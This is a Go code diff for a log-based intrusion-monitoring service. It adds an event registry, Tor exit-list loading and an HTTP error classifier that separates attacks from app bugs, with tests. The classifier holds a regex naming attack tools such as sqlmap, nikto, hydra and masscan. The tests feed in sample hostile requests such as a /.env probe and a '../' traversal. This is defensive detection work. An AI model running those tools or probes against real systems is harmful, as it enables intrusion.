@@ -168,6 +204,12 @@ func ParseFlags(name string, args []string) (Config, error) {
// Validate checks the configuration and returns the parsed peers.
func (c Config) Validate(token string) ([]fed.Peer, error) {
if _, err := store.ParseLocation(c.Location); err != nil {
return nil, err
}
if v := strings.ToLower(c.PeerBlocklist); v != "" && v != "on" && v != "off" {
return nil, fmt.Errorf("--peer-blocklist must be on or off")
}
var peers []fed.Peer
seen := map[string]bool{}
envSeen := map[string]string{}
@@ -194,8 +236,13 @@ func (c Config) Validate(token string) ([]fed.Peer, error) {
return nil, fmt.Errorf("--monitor-ua: %w", err)
}
}
if c.Retention < time.Hour {
return nil, fmt.Errorf("--retention must be at least 1h")
if c.Retention < time.Hour || c.Retention > store.DefaultRetention {
return nil, fmt.Errorf("--retention must be between 1h and 720h")
}
if c.EventsMax != "" {
if _, err := ParseSize(c.EventsMax); err != nil {
return nil, fmt.Errorf("--events-max: %w", err)
}
}
if c.NoAuth {
if !loopbackBind(c.Bind) {
+47 -3
View File
@@ -9,6 +9,7 @@ import (
"net/http"
"os"
"os/signal"
"path/filepath"
"runtime/debug"
"strings"
"sync"
@@ -16,6 +17,7 @@ import (
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/rdns"
@@ -35,13 +37,24 @@ func Serve(c Config) error {
return err
}
if os.Getenv("GOMEMLIMIT") == "" {
debug.SetMemoryLimit(160 << 20)
debug.SetMemoryLimit(SoftMemoryLimit)
}
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGTERM, syscall.SIGINT)
defer stop()
st := store.New(store.Config{Name: c.Name, Version: Version, Retention: c.Retention, AdminUsers: c.AdminUserList()})
loc, _ := store.ParseLocation(c.Location) // validated above
st := store.New(store.Config{Name: c.Name, Version: Version, Retention: c.Retention, AdminUsers: c.AdminUserList(), Location: loc})
st.SetDomains(splitList(c.Domains))
watchTorExits(ctx, c.TorExits, 24*time.Hour, log)
var elog *evlog.Log
if max, err := ParseSize(orDefault(c.EventsMax, DefaultEventsMax)); err == nil && max > 0 {
if elog, err = evlog.Open(evlog.Options{Dir: filepath.Join(c.DataDir, "events"), MaxBytes: max, Retention: c.Retention, Log: log}); err != nil {
log.Warn("event registry unavailable, replay disabled", "err", err)
elog = nil
} else {
st.SetEventLog(elog)
}
}
rd := rdns.New()
st.SetRDNS(rd)
offsets := LoadState(st, c.DataDir, log)
@@ -59,16 +72,32 @@ func Serve(c Config) error {
st.SetEnricher(en)
st.SetAttribution(Attribution)
runner.Extra = func() []store.SourceStatus { return []store.SourceStatus{geoStatus(gr, c.GeoDir)} }
// Real build dates of the geo databases for /api/v1/integrity (0 = unknown).
store.GeoBuilds = func() (int64, int64) {
if gr == nil {
return 0, 0
}
s := gr.Status()
var city, asn int64
if !s.City.Build.IsZero() {
city = s.City.Build.Unix()
}
if !s.ASN.Build.IsZero() {
asn = s.ASN.Build.Unix()
}
return city, asn
}
var hub *fed.Hub
if len(peers) > 0 {
hub = fed.NewHub(peers, c.PeerToken)
hub.OnLive = st.RecordPeerEvent
}
allow, _ := core.ParseCIDRs(c.PeerAllow)
tproxy, _ := core.ParseCIDRs(c.TrustedProxy)
ign, _ := core.ParseCIDRs(c.Ignore + "," + c.Trusted)
bindHost, _, _ := net.SplitHostPort(c.Bind)
h := server.New(server.Options{Token: token, PeerTokens: c.PeerTokens, PeerAllow: allow, TrustedProxy: tproxy, Ignore: ign,
AllowHosts: []string{bindHost}, NoAuth: c.NoAuth, Version: Version, Store: st, Hub: hub})
AllowHosts: []string{bindHost}, NoAuth: c.NoAuth, LocalBlocklist: strings.EqualFold(c.PeerBlocklist, "off"), Version: Version, Store: st, Hub: hub})
ln, err := net.Listen("tcp", c.Bind)
if err != nil {
return err
@@ -76,6 +105,10 @@ func Serve(c Config) error {
srv := server.HTTPServer(h, ctx)
var wg sync.WaitGroup
if elog != nil {
wg.Add(1)
go func() { defer wg.Done(); elog.Run(ctx) }()
}
runner.Start(ctx, offsets, &wg)
wg.Add(2)
go func() { defer wg.Done(); rd.Run(ctx) }()
@@ -159,3 +192,14 @@ func splitList(s string) []string {
}
return out
}
// SoftMemoryLimit is the Go soft memory limit when GOMEMLIMIT is not set; see
// the worst case measurements in the store tests.
const SoftMemoryLimit = 256 << 20
func orDefault(v, def string) string {
if v == "" {
return def
}
return v
}
+1
View File
@@ -172,6 +172,7 @@ func (r *Runner) handle(s *source) func([]byte) {
ev.Soft, ev.Strong = ev.Status < 400, ev.Status >= 400
}
r.St.Ingest(ev)
r.St.ObserveService(ev)
if ev.Source == "traefik" && !ev.Forged && (ev.Cat == core.OK || ev.Cat == core.NotFound) {
r.St.Traffic(ev)
}
+89
View File
@@ -0,0 +1,89 @@
package app
import (
"bufio"
"context"
"errors"
"fmt"
"log/slog"
"net/netip"
"os"
"strings"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/intel"
)
const (
maxTorFile = 8 << 20
maxTorExits = 100000
)
// LoadTorExits reads a file with one address per line (blank lines and #
// comments are skipped, invalid lines ignored, at most 100000 addresses).
func LoadTorExits(path string) ([]netip.Addr, error) {
f, err := os.Open(path)
if err != nil {
return nil, err
}
defer f.Close()
if st, err := f.Stat(); err != nil || !st.Mode().IsRegular() {
return nil, errors.New("not a regular file")
} else if st.Size() > maxTorFile {
return nil, fmt.Errorf("file larger than %d bytes", maxTorFile)
}
var out []netip.Addr
sc := bufio.NewScanner(f)
sc.Buffer(make([]byte, 0, 4096), 4096)
for sc.Scan() && len(out) < maxTorExits {
l := strings.TrimSpace(sc.Text())
if i := strings.IndexByte(l, '#'); i >= 0 {
l = strings.TrimSpace(l[:i])
}
if a, err := netip.ParseAddr(l); err == nil && a.Zone() == "" {
out = append(out, a.Unmap())
}
}
return out, sc.Err()
}
// watchTorExits loads the list now and again every interval when the file
// changed. An empty path keeps the feature off.
func watchTorExits(ctx context.Context, path string, every time.Duration, log *slog.Logger) {
if path == "" {
return
}
var lastMod time.Time
var lastSize int64 = -1
load := func() {
st, err := os.Stat(path)
if err != nil {
log.Warn("tor exit list unavailable", "err", err)
return
}
if st.ModTime().Equal(lastMod) && st.Size() == lastSize {
return
}
addrs, err := LoadTorExits(path)
if err != nil {
log.Warn("tor exit list unreadable", "err", err)
return
}
intel.SetTorExits(addrs)
lastMod, lastSize = st.ModTime(), st.Size()
log.Info("tor exit list loaded", "n", len(addrs))
}
load()
go func() {
t := time.NewTicker(every)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-t.C:
load()
}
}
}()
}
+45
View File
@@ -0,0 +1,45 @@
package app
import (
"testing"
"time"
)
func TestRetentionEventsMaxFlags(t *testing.T) {
c, err := ParseFlags("serve", nil)
if err != nil || c.Retention != 720*time.Hour || c.EventsMax != "512MB" {
t.Fatalf("defaults %v %+v", err, c)
}
c, _ = ParseFlags("serve", []string{"--events-max", "1GiB", "--retention", "100h"})
if n, err := ParseSize(c.EventsMax); err != nil || n != 1<<30 || c.Retention != 100*time.Hour {
t.Fatal(c.EventsMax, c.Retention)
}
t.Setenv("URUTAU_EVENTS_MAX", "64m")
c, _ = ParseFlags("serve", nil)
if n, _ := ParseSize(c.EventsMax); n != 64<<20 {
t.Fatal("env")
}
tok := "tok-0123456789-abcdefghijklmnopqrstuvwxyz-QWERTY"
base := Config{Bind: "0.0.0.0:1", Ignore: DefaultIgnore, TrustedProxy: DefaultTrustedProxy, Retention: 720 * time.Hour}
if _, err := base.Validate(tok); err != nil {
t.Fatal(err)
}
base.Retention = 721 * time.Hour
if _, err := base.Validate(tok); err == nil {
t.Fatal("retention over 720h must be refused")
}
base.Retention, base.EventsMax = 720*time.Hour, "lots"
if _, err := base.Validate(tok); err == nil {
t.Fatal("bad --events-max must be refused")
}
for in, want := range map[string]int64{"512MB": 512 << 20, "0": 0, "2g": 2 << 30, "1048576": 1 << 20, "1.5kb": 1536} {
if n, err := ParseSize(in); err != nil || n != want {
t.Errorf("%s: %d %v", in, n, err)
}
}
for _, bad := range []string{"", "-1", "x", "1xb"} {
if _, err := ParseSize(bad); err == nil {
t.Errorf("%q must fail", bad)
}
}
}
+106
View File
@@ -0,0 +1,106 @@
package app
import (
"context"
"encoding/json"
"log/slog"
"net/http"
"net/http/httptest"
"net/netip"
"os"
"path/filepath"
"strings"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/intel"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
const realGeo = "/tmp/claude-1000/-home-lucas-Documents-Pessoal-keys/cd25aef5-8f8d-45f2-8ce0-f6644a45cb62/scratchpad/geo/real"
// Known addresses against the real DB-IP Lite databases: the ASN is filled and
// the network type follows. Skipped where the databases are not available.
func TestNetTypeWithRealGeoDatabases(t *testing.T) {
if _, err := os.Stat(realGeo); err != nil {
t.Skip("real geo databases not available")
}
gr, err := geo.Open(realGeo)
if err != nil {
t.Fatal(err)
}
st := store.New(store.Config{Name: "o", Retention: 720 * time.Hour})
st.SetEnricher(enricher{g: gr})
h := server.New(server.Options{Token: "user-token-0123456789-abcdefghijklmnop", Version: "t", Store: st})
cases := []struct {
ip string
asn float64
typ string
orgPart string
}{
{"159.89.1.1", 14061, "hosting", "DigitalOcean"},
{"78.46.1.1", 24940, "hosting", "Hetzner"},
{"129.146.1.1", 31898, "hosting", "Oracle"},
{"189.6.1.1", 28573, "isp/mobile", "Claro"}, // Brazilian residential/mobile operator
{"71.6.135.131", 10439, "research-scanner", "CariNet"},
}
for _, c := range cases {
st.Ingest(core.Event{Time: time.Now(), IP: c.ip, Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/.env", Status: 404})
r := httptest.NewRequest("GET", "/api/v1/ip/"+c.ip, nil)
r.Header.Set("Authorization", "Bearer user-token-0123456789-abcdefghijklmnop")
r.RemoteAddr = "198.51.100.1:1"
w := httptest.NewRecorder()
h.ServeHTTP(w, r)
var d map[string]any
if err := json.Unmarshal(w.Body.Bytes(), &d); err != nil || w.Code != 200 {
t.Fatalf("%s: %d %s", c.ip, w.Code, w.Body)
}
id := d["identity"].(map[string]any)
if id["asn"].(float64) != c.asn || id["net_type"] != c.typ || !strings.Contains(id["as_org"].(string), c.orgPart) || id["net_type_reason"] == "" {
t.Errorf("%s: %v", c.ip, id)
}
if d["geo"].(map[string]any)["cc"] == "" {
t.Errorf("%s: no country", c.ip)
}
}
// the Tor exit list changes the type of a listed address
a := netip.MustParseAddr("159.89.1.1")
intel.SetTorExits([]netip.Addr{a})
defer intel.SetTorExits(nil)
if typ, _ := intel.NetTypeIP(a, 14061, "DigitalOcean, LLC", ""); typ != "tor" {
t.Fatalf("tor exit: %s", typ)
}
}
func TestTorExitsFile(t *testing.T) {
p := filepath.Join(t.TempDir(), "tor.txt")
os.WriteFile(p, []byte("# exits\n185.220.101.1\n\n 2001:db8::5 # v6\nnot-an-ip\n10.0.0.1%eth0\n185.220.101.2\n"), 0o600)
l, err := LoadTorExits(p)
if err != nil || len(l) != 3 {
t.Fatalf("%v %v", l, err)
}
big := filepath.Join(t.TempDir(), "big.txt")
os.WriteFile(big, []byte(strings.Repeat("1.2.3.4\n", 2<<20)), 0o600)
if _, err := LoadTorExits(big); err == nil {
t.Fatal("oversized file must be refused")
}
if _, err := LoadTorExits(t.TempDir()); err == nil {
t.Fatal("a directory is not a list")
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
defer intel.SetTorExits(nil)
watchTorExits(ctx, p, time.Hour, slog.New(slog.NewTextHandler(os.Stderr, nil)))
if !intel.IsTorExit(netip.MustParseAddr("185.220.101.1")) {
t.Fatal("exit list not applied")
}
watchTorExits(ctx, "", time.Hour, nil) // off: nothing happens
c, _ := ParseFlags("serve", []string{"--tor-exits", p})
if c.TorExits != p {
t.Fatal("flag")
}
_ = http.StatusOK
}
+197
View File
@@ -0,0 +1,197 @@
package app
import (
"encoding/json"
"io"
"log/slog"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/tail"
)
const (
scratch = "/tmp/claude-1000/-home-lucas-Documents-Pessoal-keys/cd25aef5-8f8d-45f2-8ce0-f6644a45cb62/scratchpad"
tokV4 = "user-token-0123456789-abcdefghijklmnop"
)
// ingestLogs feeds the three log files through the runner, like a backfill.
func ingestLogs(t *testing.T, st *store.Store, dir string) {
t.Helper()
c := Config{Name: st.Name(), Ignore: DefaultIgnore, MonitorUA: DefaultMonitorUA, Retention: 720 * time.Hour, TrustedProxy: DefaultTrustedProxy,
TraefikLog: filepath.Join(dir, "access.log"), AuthLog: filepath.Join(dir, "auth.log"), Fail2banLog: filepath.Join(dir, "fail2ban.log")}
r, err := NewRunner(c, st, slog.New(slog.NewTextHandler(io.Discard, nil)))
if err != nil {
t.Fatal(err)
}
for _, s := range r.Sources {
if _, err := os.Stat(s.path); err != nil {
continue
}
if err := tail.ReadAll(s.path, maxLine, r.handle(s), func() {}); err != nil {
t.Fatal(err)
}
}
}
func newLogged(t *testing.T) *store.Store {
st := store.New(store.Config{Name: "edge-1", Version: "t", Retention: 720 * time.Hour})
l, err := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
if err != nil {
t.Fatal(err)
}
st.SetEventLog(l)
return st
}
func detail(t *testing.T, st *store.Store, ip string) map[string]any {
h := server.New(server.Options{Token: tokV4, Version: "t", Store: st})
r := httptest.NewRequest("GET", "/api/v1/ip/"+ip, nil)
r.Header.Set("Authorization", "Bearer "+tokV4)
r.RemoteAddr = "198.51.100.1:1"
w := httptest.NewRecorder()
h.ServeHTTP(w, r)
if w.Code != http.StatusOK {
t.Fatalf("%s: %d %s", ip, w.Code, w.Body)
}
var m map[string]any
if err := json.Unmarshal(w.Body.Bytes(), &m); err != nil {
t.Fatal(err)
}
return m
}
func sum(series map[string]any) (total float64, buckets int) {
var rows [][]any
for _, v := range series {
rows = append(rows, v.([]any))
}
if len(rows) == 0 {
return
}
for i := range rows[0] {
var b float64
for _, r := range rows {
b += r[i].(float64)
}
total += b
if b > 0 {
buckets++
}
}
return
}
func num(m map[string]any, k string) float64 { f, _ := m[k].(float64); return f }
// checkConsistent asserts that every section of the detail view of the most
// hostile address of a data set tells the same story.
func checkConsistent(t *testing.T, st *store.Store, wantEvents bool) {
t.Helper()
ips := st.AllIPs(store.Ranges["30d"], false)
if len(ips) == 0 {
t.Fatal("no addresses")
}
top := ips[0].IP
d := detail(t, st, top)
counts := d["counts"].(map[string]any)
first, last := num(d, "first"), num(d, "last")
tm := d["time"].(map[string]any)
if ad, span := num(tm, "active_days"), num(tm, "span_days"); ad < 1 || ad > span || span != float64(int((last-first)/86400)+1) {
t.Errorf("%s: active_days %v span_days %v first %v last %v", top, ad, span, first, last)
}
ssh := d["ssh"].(map[string]any)
if num(ssh, "fails") != num(counts, "ssh-fail") {
t.Errorf("%s: ssh.fails %v vs counter %v", top, ssh["fails"], counts["ssh-fail"])
}
if num(counts, "ssh-fail") > 0 && len(ssh["users"].([]any)) == 0 && num(d, "events") == 0 {
t.Errorf("%s: ssh failures but no users", top)
}
if jails, _ := d["jails"].([]any); len(jails) > 0 {
active := 0
for _, b := range d["bans"].([]any) {
if b.(map[string]any)["active"] == true {
active++
}
}
if active != len(jails) {
t.Errorf("%s: %d active bans for %d jails: %v", top, active, len(jails), d["bans"])
}
}
if len(d["sessions"].([]any)) == 0 {
t.Errorf("%s: no sessions for an address with %v events", top, counts)
}
if len(d["techniques"].([]any)) == 0 || len(d["families"].([]any)) == 0 {
t.Errorf("%s: techniques/families empty: %v / %v", top, d["techniques"], d["families"])
}
if len(d["events"].([]any)) == 0 {
t.Errorf("%s: events empty", top)
}
tl := d["timeline"].(map[string]any)
total, buckets := sum(tl["series"].(map[string]any))
if total == 0 {
t.Errorf("%s: timeline is empty", top)
}
if wantEvents {
if d["timeline_source"] != "events" || d["sessions_source"] != "events" || d["events_source"] != "events" {
t.Errorf("%s: sources %v %v %v", top, d["timeline_source"], d["sessions_source"], d["events_source"])
}
lg := d["log"].(map[string]any)
logEvents, n := num(lg, "events"), num(lg, "sessions_events")
if n != logEvents || total != logEvents || num(tm, "sessions_n") != num(lg, "sessions_n") {
t.Errorf("%s: sessions %v timeline %v log %v must agree", top, n, total, logEvents)
}
if tm["active_days"].(float64) > 1 && buckets < 2 {
t.Errorf("%s: timeline in %d bucket(s) for %v active days", top, buckets, tm["active_days"])
}
// the timeline sits at the hours of the events, not at the time of the ingestion
step, start := num(tl, "step"), num(tl, "start")
for i, v := range tl["series"].(map[string]any)["scanner"].([]any) {
if v.(float64) > 0 {
if at := start + float64(i)*step; at < first-3600 || at > last+3600 {
t.Errorf("%s: bar at %v outside [%v, %v]", top, at, first, last)
}
}
}
} else if d["sessions_source"] != "counters" || d["events_source"] != "counters" {
t.Errorf("%s: without a registry the sections must say counters: %v %v", top, d["sessions_source"], d["events_source"])
}
// a snapshot restored next to an empty registry (events before the registry existed)
if wantEvents {
p := filepath.Join(t.TempDir(), "s.gob")
if err := st.Save(p, nil); err != nil {
t.Fatal(err)
}
st2 := newLogged(t)
if _, err := st2.Load(p); err != nil {
t.Fatal(err)
}
checkConsistent(t, st2, false)
}
}
func TestIPDetailConsistentOnSyntheticLogs(t *testing.T) {
dirs := map[string]string{"ui-shell": scratch + "/ui-shell/logs", "demo": scratch + "/demo/logs"}
ran := 0
for name, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "access.log")); err != nil {
continue
}
ran++
t.Run(name, func(t *testing.T) {
st := newLogged(t)
ingestLogs(t, st, dir)
checkConsistent(t, st, true)
})
}
if ran == 0 {
t.Skip("synthetic data sets not available")
}
}
+1 -1
View File
@@ -2,4 +2,4 @@ package app
// Version is the release version (SemVer). Release builds may override it with
// -ldflags "-X .../internal/app.Version=...".
var Version = "1.0.0"
var Version = "1.3.0"
+198
View File
@@ -0,0 +1,198 @@
package core
import (
"net"
"net/url"
"regexp"
"strings"
)
// Error classes: where a 4xx/5xx comes from. The answer to "is this a bug in my
// application or a failed attack?".
const (
ClassAttack = "attack" // a probe, exploit or scanner: a frustrated attack
ClassBlocked = "blocked" // refused by a middleware or rate limit before the app
ClassProxy = "proxy" // the proxy could not reach the backend, or the client gave up
ClassApp = "app" // the backend itself answered 5xx
ClassBot = "bot" // a known crawler asking for something that is not there
ClassClient = "client" // an ordinary client mistake (broken link, auth, bad input)
ClassUnknown = "unknown"
)
// Subtypes of the client class.
const (
SubBrokenLink = "broken_link"
SubExternalLink = "external_link"
SubAuth = "auth"
SubAuthChallenge = "auth_challenge"
SubValidation = "validation"
SubCancelled = "cancelled"
SubOther = "other"
)
var okMethods = map[string]bool{"GET": true, "HEAD": true, "POST": true, "PUT": true, "PATCH": true, "DELETE": true, "OPTIONS": true}
var toolUARe = regexp.MustCompile(`(?i)(^|[^a-z])(curl|wget|python-requests|python-urllib|aiohttp|go-http-client|libwww-perl|okhttp|httpie|scrapy|sqlmap|nikto|nmap|masscan|zgrab|nuclei|dirbuster|gobuster|feroxbuster|wfuzz|hydra|httpx|fasthttp|java/|axios|node-fetch)([^a-z]|$)`)
var crawlerUARe = regexp.MustCompile(`(?i)(bot|crawler|spider|slurp|bingpreview|facebookexternalhit|embedly|ia_archiver|archive\.org|mediapartners|headlesschrome|lighthouse|pingdom|uptime|monitor)`)
var registryUARe = regexp.MustCompile(`(?i)(docker|containerd|buildkit|act_runner|gitea-runner|connect-go|skopeo|podman|go-containerregistry|oras|crane)`)
// rich reports whether the log line carried the origin fields. Without them
// (older Traefik, demo data) OriginStatus is unknown and is taken as equal to
// the downstream status.
func rich(ev Event) bool {
return ev.Proto != "" || ev.Scheme != "" || ev.Router != "" || ev.Service != ""
}
func originOf(ev Event) int {
if !rich(ev) {
return ev.Status
}
return ev.OriginStatus
}
func isIPHost(h string) bool {
if i := strings.LastIndexByte(h, ':'); i > 0 && !strings.Contains(h[i:], "]") {
h = h[:i]
}
h = strings.Trim(h, "[]")
return net.ParseIP(h) != nil
}
// NoRouter: the request matched no application router (the catch-all answered,
// or Traefik had nothing for the host): internet noise by definition.
func NoRouter(ev Event) bool {
if isIPHost(ev.Domain) {
return true
}
if !rich(ev) {
return false
}
return ev.Router == "" || strings.HasPrefix(ev.Router, "catchall") || strings.HasPrefix(ev.Service, "error-pages")
}
// AuthChallenge: the normal 401 a container registry or CI runner gets before
// presenting a token. Never an attack.
func AuthChallenge(ev Event) bool {
if ev.Status != 401 && ev.Status != 403 {
return false
}
p := ev.Path
if !(p == "/v2" || strings.HasPrefix(p, "/v2/") || strings.HasPrefix(p, "/api/actions")) {
return false
}
return registryUARe.MatchString(ev.UA)
}
// RunnerCall: a CI runner polling the forge API (never an attack, whatever the
// status): act_runner, gitea-runner or connect-go under /api/actions/.
func RunnerCall(ev Event) bool {
return strings.HasPrefix(ev.Path, "/api/actions") && registryUARe.MatchString(ev.UA)
}
func sameSite(ev Event) bool {
if ev.FetchSite == "same-origin" {
return true
}
if ev.Referer == "" || ev.Referer == "-" {
return false
}
u, err := url.Parse(ev.Referer)
if err != nil || u.Host == "" {
return false
}
h := strings.TrimPrefix(strings.ToLower(u.Hostname()), "www.")
d := strings.TrimPrefix(strings.ToLower(ev.Domain), "www.")
if i := strings.LastIndexByte(d, ':'); i > 0 {
d = d[:i]
}
return h == d || strings.HasSuffix(h, "."+d) || strings.HasSuffix(d, "."+h)
}
var botPaths = []string{"/robots.txt", "/sitemap", "/favicon", "/apple-touch-icon", "/.well-known/"}
func isBotPath(p string) bool {
p = strings.ToLower(p)
for _, b := range botPaths {
if strings.HasPrefix(p, b) {
return true
}
}
return false
}
func browserLike(ev Event) bool {
switch ev.E.Device {
case "desktop", "mobile", "tablet":
return !ev.E.Bot
}
return ev.E.Device == "" && strings.HasPrefix(ev.UA, "Mozilla/") && !crawlerUARe.MatchString(ev.UA) && !toolUARe.MatchString(ev.UA)
}
// ErrorClass classifies a 4xx/5xx answer; "" for anything else. susp says the
// source address is suspicious, hostile or banned.
func ErrorClass(ev Event, susp bool) string {
c, _, _ := ErrorClassify(ev, susp)
return c
}
// ErrorClassify is ErrorClass with the client subtype and the under_attack mark
// (a real application failure on a request that looks like an attack).
func ErrorClassify(ev Event, susp bool) (class, sub string, underAttack bool) {
st := ev.Status
if st < 400 || st > 599 {
return "", "", false
}
origin := originOf(ev)
challenge := AuthChallenge(ev) || (RunnerCall(ev) && st < 500)
if challenge {
return ClassClient, SubAuthChallenge, false
}
attackish := ev.Cat == Scanner || ev.Cat == Exploit || ev.Cat == BruteForce ||
(ev.Method != "" && !okMethods[strings.ToUpper(ev.Method)]) ||
ev.UA == "" || ev.E.Tool || (toolUARe.MatchString(ev.UA) && !registryUARe.MatchString(ev.UA)) ||
susp || NoRouter(ev)
if RunnerCall(ev) {
attackish = false
}
// the backend really failed: an application error, even if an attacker caused it
if ev.Retries > 0 && st >= 500 && !NoRouter(ev) {
return ClassProxy, "", false
}
if origin >= 500 && st >= 500 && !NoRouter(ev) {
return ClassApp, "", attackish
}
if attackish {
return ClassAttack, "", false
}
if st == 429 || ((st == 403 || st == 401) && origin == 0) {
return ClassBlocked, "", false
}
if ((st == 502 || st == 503 || st == 504) && origin == 0) || (ev.Retries > 0 && st >= 500) {
return ClassProxy, "", false
}
if st >= 500 {
return ClassProxy, "", false // a 5xx the backend did not produce
}
if st == 499 {
return ClassClient, SubCancelled, false // the client gave up: not a server error
}
if ev.E.Bot || crawlerUARe.MatchString(ev.UA) || (st == 404 && isBotPath(ev.Path)) {
return ClassBot, "", false
}
switch st {
case 404:
if sameSite(ev) {
return ClassClient, SubBrokenLink, false
}
if ev.Referer != "" && ev.Referer != "-" {
return ClassClient, SubExternalLink, false
}
case 401, 403:
if origin == st && browserLike(ev) {
return ClassClient, SubAuth, false
}
case 400, 405, 413, 422:
return ClassClient, SubValidation, false
}
return ClassClient, SubOther, false
}
+61
View File
@@ -0,0 +1,61 @@
package core
import "testing"
func TestErrorClass(t *testing.T) {
rich := func(e Event) Event {
e.Proto, e.Scheme = "HTTP/2.0", "https"
if e.Router == "" {
e.Router, e.Service = "https-0-abc-gitea@docker", "https-0-abc-gitea@docker"
}
return e
}
moz := "Mozilla/5.0 (Windows NT 10.0) Chrome/120"
cases := []struct {
name string
ev Event
susp bool
class string
sub string
attack bool
}{
{"catchall env probe", Event{Status: 503, OriginStatus: 503, Method: "GET", Path: "/.env", UA: moz, Domain: "blog.example.com", Router: "catchall@file", Service: "error-pages@file", Proto: "HTTP/2.0"}, false, "attack", "", false},
{"no router 404", Event{Status: 404, Method: "GET", Path: "/x", UA: moz, Domain: "a.example.com", Proto: "HTTP/1.1"}, false, "attack", "", false},
{"ip host", Event{Status: 404, OriginStatus: 404, Method: "GET", Path: "/", UA: moz, Domain: "136.0.0.1", Router: "x@docker", Proto: "HTTP/1.1"}, false, "attack", "", false},
{"scanner cat", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", Path: "/wp-login.php", UA: moz, Cat: Scanner}), false, "attack", "", false},
{"weird method", rich(Event{Status: 405, OriginStatus: 405, Method: "PROPFIND", UA: moz}), false, "attack", "", false},
{"empty ua", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", Path: "/a"}), false, "attack", "", false},
{"curl", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", Path: "/a", UA: "curl/8.1"}), false, "attack", "", false},
{"suspicious ip", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", Path: "/a", UA: moz}), true, "attack", "", false},
{"429", rich(Event{Status: 429, Method: "GET", UA: moz}), false, "blocked", "", false},
{"401 origin 0", rich(Event{Status: 401, OriginStatus: 0, Method: "GET", UA: moz, Path: "/x"}), false, "blocked", "", false},
{"504 origin 0", rich(Event{Status: 504, OriginStatus: 0, Method: "GET", UA: moz, Path: "/x"}), false, "proxy", "", false},
{"499 is the client", rich(Event{Status: 499, OriginStatus: 0, Method: "GET", UA: moz, Path: "/x"}), false, "client", "cancelled", false},
{"runner poll", rich(Event{Status: 404, OriginStatus: 404, Method: "POST", UA: "connect-go/1.16 (go1.22)", Path: "/api/actions/runner.v1.RunnerService/FetchTask", Cat: Scanner}), true, "client", "auth_challenge", false},
{"gitea-runner", rich(Event{Status: 401, OriginStatus: 0, Method: "POST", UA: "gitea-runner/0.2", Path: "/api/actions/x"}), true, "client", "auth_challenge", false},
{"502 retry", rich(Event{Status: 502, OriginStatus: 502, Retries: 2, Method: "GET", UA: moz}), false, "proxy", "", false},
{"app 500", rich(Event{Status: 500, OriginStatus: 500, Method: "POST", UA: moz, Path: "/api/x"}), false, "app", "", false},
{"app 500 under attack", rich(Event{Status: 500, OriginStatus: 500, Method: "GET", UA: moz, Path: "/a?x=../", Cat: Exploit}), false, "app", "", true},
{"crawler 404", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", UA: "Mozilla/5.0 (compatible; ElevenlabsCrawler/1.0)", Path: "/z"}), false, "bot", "", false},
{"robots 404", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", UA: moz, Path: "/robots.txt"}), false, "bot", "", false},
{"broken link", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", UA: moz, Path: "/old", Domain: "a.example.com", Referer: "https://a.example.com/index"}), false, "client", "broken_link", false},
{"fetch same-origin", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", UA: moz, Path: "/old", FetchSite: "same-origin"}), false, "client", "broken_link", false},
{"external link", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", UA: moz, Path: "/old", Domain: "a.example.com", Referer: "https://news.ycombinator.com/"}), false, "client", "external_link", false},
{"auth browser", rich(Event{Status: 401, OriginStatus: 401, Method: "GET", UA: moz, Path: "/admin", E: Enrich{Device: "desktop"}}), false, "client", "auth", false},
{"registry challenge", rich(Event{Status: 401, OriginStatus: 401, Method: "GET", UA: "docker/27.0 go/go1.22", Path: "/v2/"}), true, "client", "auth_challenge", false},
{"actions challenge", rich(Event{Status: 401, OriginStatus: 401, Method: "GET", UA: "act_runner/0.2", Path: "/api/actions/x"}), false, "client", "auth_challenge", false},
{"validation", rich(Event{Status: 422, OriginStatus: 422, Method: "POST", UA: moz, Path: "/api/x"}), false, "client", "validation", false},
{"404 plain", rich(Event{Status: 404, OriginStatus: 404, Method: "GET", UA: moz, Path: "/nope"}), false, "client", "other", false},
{"legacy log 500", Event{Status: 500, Method: "GET", UA: moz, Path: "/x", Domain: "a.example.com"}, false, "app", "", false},
{"200", Event{Status: 200}, false, "", "", false},
}
for _, c := range cases {
cl, sub, ua := ErrorClassify(c.ev, c.susp)
if cl != c.class || sub != c.sub || ua != c.attack {
t.Errorf("%s: got %q/%q/%v want %q/%q/%v", c.name, cl, sub, ua, c.class, c.sub, c.attack)
}
if ErrorClass(c.ev, c.susp) != c.class {
t.Errorf("%s: ErrorClass mismatch", c.name)
}
}
}
+14 -1
View File
@@ -149,7 +149,20 @@ type Event struct {
DurationNS int64
Bytes int64
Referer string
E Enrich
// FetchDest is Sec-Fetch-Dest ("document", "empty", "image"...), "" when the
// browser did not send it. Prefetch: Sec-Purpose / Purpose said prefetch.
FetchDest string
Prefetch bool
